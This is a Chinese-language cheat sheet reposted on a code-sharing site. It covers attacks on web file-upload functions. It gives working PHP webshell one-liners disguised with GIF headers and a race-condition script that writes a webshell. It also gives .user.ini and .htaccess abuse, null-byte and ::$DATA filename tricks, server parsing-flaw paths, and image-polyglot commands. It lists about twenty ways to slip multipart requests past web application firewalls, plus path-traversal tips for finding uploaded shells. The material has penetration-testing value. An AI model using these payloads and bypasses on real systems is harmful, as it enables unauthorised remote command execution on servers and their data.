文件上傳利用總結


找到上傳點,先初步判斷一下做了什么防御手段:

客戶端檢查

利用burp抓包改包,先上傳一個jpg類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可

服務端后綴黑名單

上傳特殊可解析后綴

asp|asa|cer|cdx

aspx|ascx|ashx|asax|asac

php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根據配置文件中設置類型來決定)

jsp|jspx|jspf

htm|html|shtml|pwml|js

vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

上傳.htaccess

.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過 .htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平台上不存在該文件,該文件默認開啟,啟用和關閉在 httpd.conf 文件中配置。

 .htaccess 文件生效前提條件為:

mod_rewrite 模塊開啟

AllowOverride All

上傳.user.ini

原理:

1、.user.ini 有點像.htaccess,php運行時,會檢索加載所有目錄下的.ini配置文件,從被執行的 PHP 文件所在目錄開始一直上升到 web 根目錄($_SERVER['DOCUMENT_ROOT'] 所指定的)。

2、.user.ini是一個能被動態加載的ini文件,這點和php.ini不同。也就是說修改了.user.ini后,不需要重啟服務器中間件,只需要等待user_ini.cache_ttl所設置的時間(默認為300秒),即可被重新加載。

利用:

上傳.user.ini:

auto_prepend_file=1.gif       # 要訪問的文件加載之前加載,

或者

auto_append_file=1.gif # 要訪問的文件加載之后加載

上傳一個包含webshell代碼的1.gif:

GIF98A <?php eval($_REQUEST['a']);?>

訪問本目錄下任意文件附帶參數?a=xxx 就可以實現命令執行

?a=phpinfo(); ?a=system('whoami');

配合解析漏洞

IIS:

目錄解析漏洞(/test.asp/1.jps)

文件名解析漏洞(test.asp;.jpg)

畸形解析漏洞(test.jpg/*.php)

Nginx:

畸形解析漏洞(test.jpg/*.php)

%00空字節代碼解析漏洞

CVE-2013-4547(%20%00)

Apache:

文件名解析漏洞(test.php.owf.xdx)

詳細參考:https://www.cnblogs.com/vege/p/12444476.html

利用NTFS ADS特性

其他

點繞過、空格繞過、后綴雙寫繞過、后綴大小寫繞過、%00繞過、0x00繞過

GET:

shell.php%00.jpg

POST:

(hex里面改)

shell.php%20%00.jpg

shell.php.

shell.php. .

服務器后綴白名單

00截斷、MIME、點、空格、點空格點、::$DATA

shell.php::$DATA

shell.php

shell.php.

shell.php. .

GET:

shell.php%00.jpg

POST:

(hex里面改)

shell.php%20%00.jpg

檢查內容

文件頭檢查

木馬文件中插入 允許上傳的文件類型的文件頭。

如gif

1.php

GIF98A <?php eval($_REQUEST['a']);?>

MIME

正常上傳木馬文件,burp抓包修改 Content-Type:image/jpg 等

getimagesize()、exif_imagetype()函數檢查

生成圖片馬:

制作方法: copy 1.jpg/b + 1.php/a 2.jpg      b表示二進制文件  a表示ASCII文件

也可以使用edjpgcom.exe工具

然后結合文件包含漏洞利用

二次渲染

(1)上傳gif圖片:先將普通的gif圖片上傳,會被渲染,渲染之后再下載下來,與原git圖片對比,找到渲染前后沒有變化的位置,然后在這些位置插入php一句話,再上傳即可。

(2)上傳jpg、png圖片:這兩種格式圖片的二次渲染繞過要難很多很多:png(索引類型圖,寫入 PLTE 數據塊或寫入IDAT數據塊),jpg(成功性不大),具體參考   https://xz.aliyun.com/t/2657#toc-3

技巧點:在目標網站渲染的過的圖片再修改,修改后的再傳兩次

條件競爭

由於代碼邏輯問題,其先將我們上傳的圖片保存,然后再進行處理,刪除原圖片,因此我們可以利用條件競爭,在我們上傳的圖片馬被刪除之前觸發它。

方法:

利用burp不斷發包,不斷觸發

1.php

<?php fputs(fopen(‘a.php’,’w’),‘<?php eval($_POST[cmd])?>’); ?>

繞過WAF

雲WAF

通過尋找域名真實IP,使用真實IP進行文件上傳,繞過waf限制

例如

傳shell時發現存在某雲WAF,需進一步繞過

通過尋找域名真實IP,使用真實IP進行文件上傳,繞過waf限制

構造畸形的數據包,“打亂”waf的檢測

WAF如何攔截:

文件名:

解析文件名,判斷是否在黑名單內

文件內容

解析文件內容,判斷是否為webshell

目前,市面上常見的是解析文件名,少數WAF是解析文件內容,比如長亭。下面內容,都是基於文件名解析。

繞過:

獲取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"Content-Type里,所以繞過的地方也就在這兩個地方了。

1、去掉引號

2、雙引號變單引號

3、多加一個引號

4、大小寫

對這三個固定的字符串進行大小寫轉換

比如name轉換成Name,Content-Disposition轉換成content-disposition。

5、空格

在: ; =添加1個或者多個空格,不過測試只有filename在=前面添加空格,上傳失敗。

在filename=后面添加空格上傳成功

6、去掉或修改Content-Disposition值

有的WAF在解析的時候,認為Content-Disposition值一定是form-data,造成繞過。

7、刪掉content-type

同上

8、交換name和filename的順序

規定Content-Disposition必須在最前面,所以只能交換name和filename的順序。

有的WAF可能會匹配name在前面,filename在后面,所以下面姿勢會導致Bypass:

Content-Disposition: form-data; filename="xx.php"; name=file_x

9、多個boundary

最后上傳的文件是test.php而非test.txt,但是取的文件名只取了第一個就會被Bypass。

10、多個filename

最終上傳成功的文件名是test.php。但是由於解析文件名時,會解析到第一個。正則默認都會匹配到第一個。

11、多個分號

文件解析時,可能解析不到文件名,導致繞過。

12、header頭,Content-Type :  multipart/form-DATA

這種繞過應該很少,大多數都會忽略大小寫。php和java都支持。

13、header頭在boundary前添加任意字符

php支持,java不支持

14、filename換行

filen

ame="hhh

.

p

hp"

15、filename文件名添加單引號(‘)分號(;)等

filename==”hh' h.php”

filename=”hh;h.php”

16、filename==或者filename===繞過

17、name 和filename之間添加任意字符或者是大量字符

18、form-data用+拼接

19、Content-Disposition:*

20、filename="1.jpg .Php"類似這種的各種嘗試

上傳成功后尋找返回路徑

正常情況下,在返回包中可以找到文件上傳路徑,如果未返回路徑或找不到,可以嘗試以下方法:

1、

刷新, f12  network/瀏覽器history搜索shell名字,或點擊下載文件可能就知道了路徑或相似路徑。有些時候改名字的wordpress插件,編輯器等等,就可以通過這種方式發現

2、

返回了一些參數但不包括路徑的情況,比如file_id 等等,那么文件路徑可能存儲在數據庫中,可以結合sql注入 sqlmap的--search -C參數找到字段和值

3、

什么都沒返回的情況,只返回了ok,true等等。重新加載,抓包看響應,或許某個接口的響應就包括對應的路徑。

比如頭像位置上傳上去了,但是沒有返回路徑,那么想辦法讓他在加載一遍,比如退出重新登陸,一個包一個包的放。可能有些包的響應中就包含路徑。

     另外可能存在其他服務器、或者其他站點的其他路徑,也是抓包查看,看一下加載過程的路徑在哪或者看一下html、js

4、

只返回了文件名,沒有路徑

一種是fuzz,看其他同類型文件的路徑,f12或者如果有文件下載的地方,下載抓包,看文件地址。

另一種是 嘗試上傳的時候目錄穿越,一次一次嘗試,看能否穿到站點根目錄或者知道的目錄下面。修改不如表單的其他參數、或者filename參數的值

5、

嘗試訪問日志文件,看能否發現一些敏感目錄或上傳目錄

比如泛微

6、

上傳上去沒有訪問直接下載,當前文件夾沒有執行權限

這種情況,嘗試目錄穿越的方式,穿到其他目錄下,比如根目錄,來繞過限制

../->%C0%AE%C0%AE/

/../      \..\

其他一些情況

1、當前上傳接口無法繞過時,注意觀察文件名,fuzz相似接口

uploadImg.cspx

uploadfile.cspx

uploadtest.cspx

upload_test.cspx

upload_2018.php

upload2019.php

upload2020.jsp

temp、test等等接口

fck編輯器的漏洞就是這樣的,

例子:

2、嘗試修改表單其他字段,看是否會影響后綴,(參數的優先級)

例子:

測試中發現了一個上傳點,但waf攔截jsp、html等后綴,更改后綴重放數據包會導致reset,如下:

fileName和fileType參數可控,且當存在兩個不同的后綴時,最上層的filename參數優先級為最高,可導致任意文件上傳

發現上傳成功的jsp文件其回顯的type類型為image/png類型

刪除最下層filename的Content-Type: image/png,文件上傳類型即可被繞過

 

 

 

 

參考

https://paper.seebug.org/560/

https://xz.aliyun.com/t/10043

http://www.feidao.site/wordpress/?p=2184

https://xz.aliyun.com/t/7531

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM